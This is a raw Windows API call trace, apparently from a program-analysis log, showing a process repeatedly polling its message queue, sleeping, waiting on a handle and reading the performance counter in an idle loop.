[0128.177] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0128.178] Sleep (dwMilliseconds=0x64) [0128.191] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0128.191] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=701637067) returned 1 [0128.191] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=701637252) returned 1 [0128.191] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0128.192] Sleep (dwMilliseconds=0x64) [0128.206] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0128.206] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=701690416) returned 1 [0128.206] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=701690596) returned 1 [0128.207] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0128.207] Sleep (dwMilliseconds=0x64) [0128.223] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0128.223] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=701747401) returned 1 [0128.223] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=701747575) returned 1 [0128.224] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0128.224] Sleep (dwMilliseconds=0x64) [0128.237] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0128.238] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=701797319) returned 1 [0128.238] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=701797486) returned 1 [0128.238] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0128.239] Sleep (dwMilliseconds=0x64) [0128.254] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0128.254] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=701852314) returned 1 [0128.254] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=701852479) returned 1 [0128.254] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0128.255] Sleep (dwMilliseconds=0x64) [0128.269] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0128.269] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=701903536) returned 1 [0128.269] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=701903710) returned 1 [0128.269] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0128.270] Sleep (dwMilliseconds=0x64) [0128.284] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0128.284] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=701956991) returned 1 [0128.284] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=701957171) returned 1 [0128.285] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0128.285] Sleep (dwMilliseconds=0x64) [0128.300] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0128.300] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=702010549) returned 1 [0128.300] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=702010714) returned 1 [0128.301] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0128.301] Sleep (dwMilliseconds=0x64) [0128.315] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0128.315] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=702063583) returned 1 [0128.316] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=702063751) returned 1 [0128.316] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0128.317] Sleep (dwMilliseconds=0x64) [0128.331] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0128.331] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=702116963) returned 1 [0128.331] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=702117141) returned 1 [0128.332] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0128.332] Sleep (dwMilliseconds=0x64) [0128.349] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0128.350] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=702179950) returned 1 [0128.350] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=702180116) returned 1 [0128.350] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0128.351] Sleep (dwMilliseconds=0x64) [0128.363] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0128.363] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=702226955) returned 1 [0128.363] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=702227125) returned 1 [0128.364] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0128.364] Sleep (dwMilliseconds=0x64) [0128.378] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0128.378] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=702276918) returned 1 [0128.378] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=702277103) returned 1 [0128.379] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0128.379] Sleep (dwMilliseconds=0x64) [0128.413] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0128.413] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=702397875) returned 1 [0128.413] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=702398049) returned 1 [0128.415] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0128.415] Sleep (dwMilliseconds=0x64) [0128.425] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0128.425] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=702436881) returned 1 [0128.425] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=702437049) returned 1 [0128.425] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0128.426] Sleep (dwMilliseconds=0x64) [0128.440] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0128.440] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=702489986) returned 1 [0128.440] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=702490200) returned 1 [0128.441] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0128.441] Sleep (dwMilliseconds=0x64) [0128.456] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0128.456] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=702543547) returned 1 [0128.456] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=702543730) returned 1 [0128.456] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0128.457] Sleep (dwMilliseconds=0x64) [0128.472] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0128.472] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=702599195) returned 1 [0128.472] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=702599380) returned 1 [0128.473] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0128.473] Sleep (dwMilliseconds=0x64) [0128.501] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0128.501] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=702698118) returned 1 [0128.501] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=702698263) returned 1 [0128.502] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0128.502] Sleep (dwMilliseconds=0x64) [0128.503] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0128.503] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=702703939) returned 1 [0128.503] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=702704087) returned 1 [0128.503] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0128.504] Sleep (dwMilliseconds=0x64) [0128.518] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0128.518] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=702756617) returned 1 [0128.518] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=702756772) returned 1 [0128.519] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0128.519] Sleep (dwMilliseconds=0x64) [0128.534] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0128.534] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=702809728) returned 1 [0128.534] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=702809873) returned 1 [0128.534] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0128.535] Sleep (dwMilliseconds=0x64) [0128.550] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0128.550] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=702866197) returned 1 [0128.550] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=702866342) returned 1 [0128.551] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0128.551] Sleep (dwMilliseconds=0x64) [0128.565] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0128.565] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=702916685) returned 1 [0128.565] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=702916865) returned 1 [0128.566] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0128.566] Sleep (dwMilliseconds=0x64) [0128.581] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0128.581] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=702972274) returned 1 [0128.581] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=702972453) returned 1 [0128.582] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0128.582] Sleep (dwMilliseconds=0x64) [0128.596] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0128.596] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=703023341) returned 1 [0128.596] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=703023526) returned 1 [0128.597] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0128.597] Sleep (dwMilliseconds=0x64) [0128.612] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0128.612] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=703077873) returned 1 [0128.612] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=703078052) returned 1 [0128.613] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0128.613] Sleep (dwMilliseconds=0x64) [0128.628] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0128.628] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=703130461) returned 1 [0128.628] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=703130648) returned 1 [0128.628] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0128.629] Sleep (dwMilliseconds=0x64) [0128.643] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0128.643] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=703183314) returned 1 [0128.643] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=703183493) returned 1 [0128.644] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0128.644] Sleep (dwMilliseconds=0x64) [0128.659] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0128.659] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=703236640) returned 1 [0128.659] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=703236829) returned 1 [0128.659] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0128.660] Sleep (dwMilliseconds=0x64) [0128.674] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0128.674] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=703290186) returned 1 [0128.674] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=703290355) returned 1 [0128.675] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0128.675] Sleep (dwMilliseconds=0x64) [0128.690] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0128.690] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=703345201) returned 1 [0128.691] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=703345368) returned 1 [0128.691] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0128.692] Sleep (dwMilliseconds=0x64) [0128.705] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0128.705] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=703396530) returned 1 [0128.706] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=703396685) returned 1 [0128.706] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0128.706] Sleep (dwMilliseconds=0x64) [0128.721] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0128.721] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=703449984) returned 1 [0128.721] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=703450139) returned 1 [0128.722] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0128.722] Sleep (dwMilliseconds=0x64) [0128.737] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0128.737] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=703503447) returned 1 [0128.737] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=703503602) returned 1 [0128.737] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0128.738] Sleep (dwMilliseconds=0x64) [0128.752] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0128.752] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=703556577) returned 1 [0128.752] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=703556733) returned 1 [0128.753] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0128.753] Sleep (dwMilliseconds=0x64) [0128.768] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0128.768] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=703609970) returned 1 [0128.768] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=703610134) returned 1 [0128.768] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0128.769] Sleep (dwMilliseconds=0x64) [0128.783] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0128.784] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=703663245) returned 1 [0128.784] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=703663425) returned 1 [0128.784] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0128.785] Sleep (dwMilliseconds=0x64) [0128.800] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0128.800] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=703718929) returned 1 [0128.800] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=703719095) returned 1 [0128.800] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0128.801] Sleep (dwMilliseconds=0x64) [0128.815] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0128.815] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=703769747) returned 1 [0128.815] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=703769922) returned 1 [0128.815] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0128.816] Sleep (dwMilliseconds=0x64) [0128.830] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0128.830] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=703823213) returned 1 [0128.830] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=703823369) returned 1 [0128.831] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0128.831] Sleep (dwMilliseconds=0x64) [0128.846] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0128.846] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=703876323) returned 1 [0128.846] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=703876478) returned 1 [0128.846] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0128.847] Sleep (dwMilliseconds=0x64) [0128.861] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0128.862] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=703929965) returned 1 [0128.862] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=703930121) returned 1 [0128.862] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0128.863] Sleep (dwMilliseconds=0x64) [0128.877] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0128.877] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=703983059) returned 1 [0128.877] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=703983219) returned 1 [0128.878] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0128.878] Sleep (dwMilliseconds=0x64) [0128.893] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0128.893] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=704038104) returned 1 [0128.893] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=704038260) returned 1 [0128.894] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0128.894] Sleep (dwMilliseconds=0x64) [0128.909] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0128.909] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=704091924) returned 1 [0128.909] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=704092101) returned 1 [0128.910] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0128.910] Sleep (dwMilliseconds=0x64) [0128.924] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0128.924] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=704143431) returned 1 [0128.924] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=704143615) returned 1 [0128.925] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0128.925] Sleep (dwMilliseconds=0x64) [0128.939] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0128.939] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=704196415) returned 1 [0128.940] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=704196622) returned 1 [0128.940] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0128.941] Sleep (dwMilliseconds=0x64) [0128.955] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0128.955] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=704249550) returned 1 [0128.955] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=704249734) returned 1 [0128.956] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0128.956] Sleep (dwMilliseconds=0x64) [0128.971] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0128.971] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=704303133) returned 1 [0128.971] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=704303317) returned 1 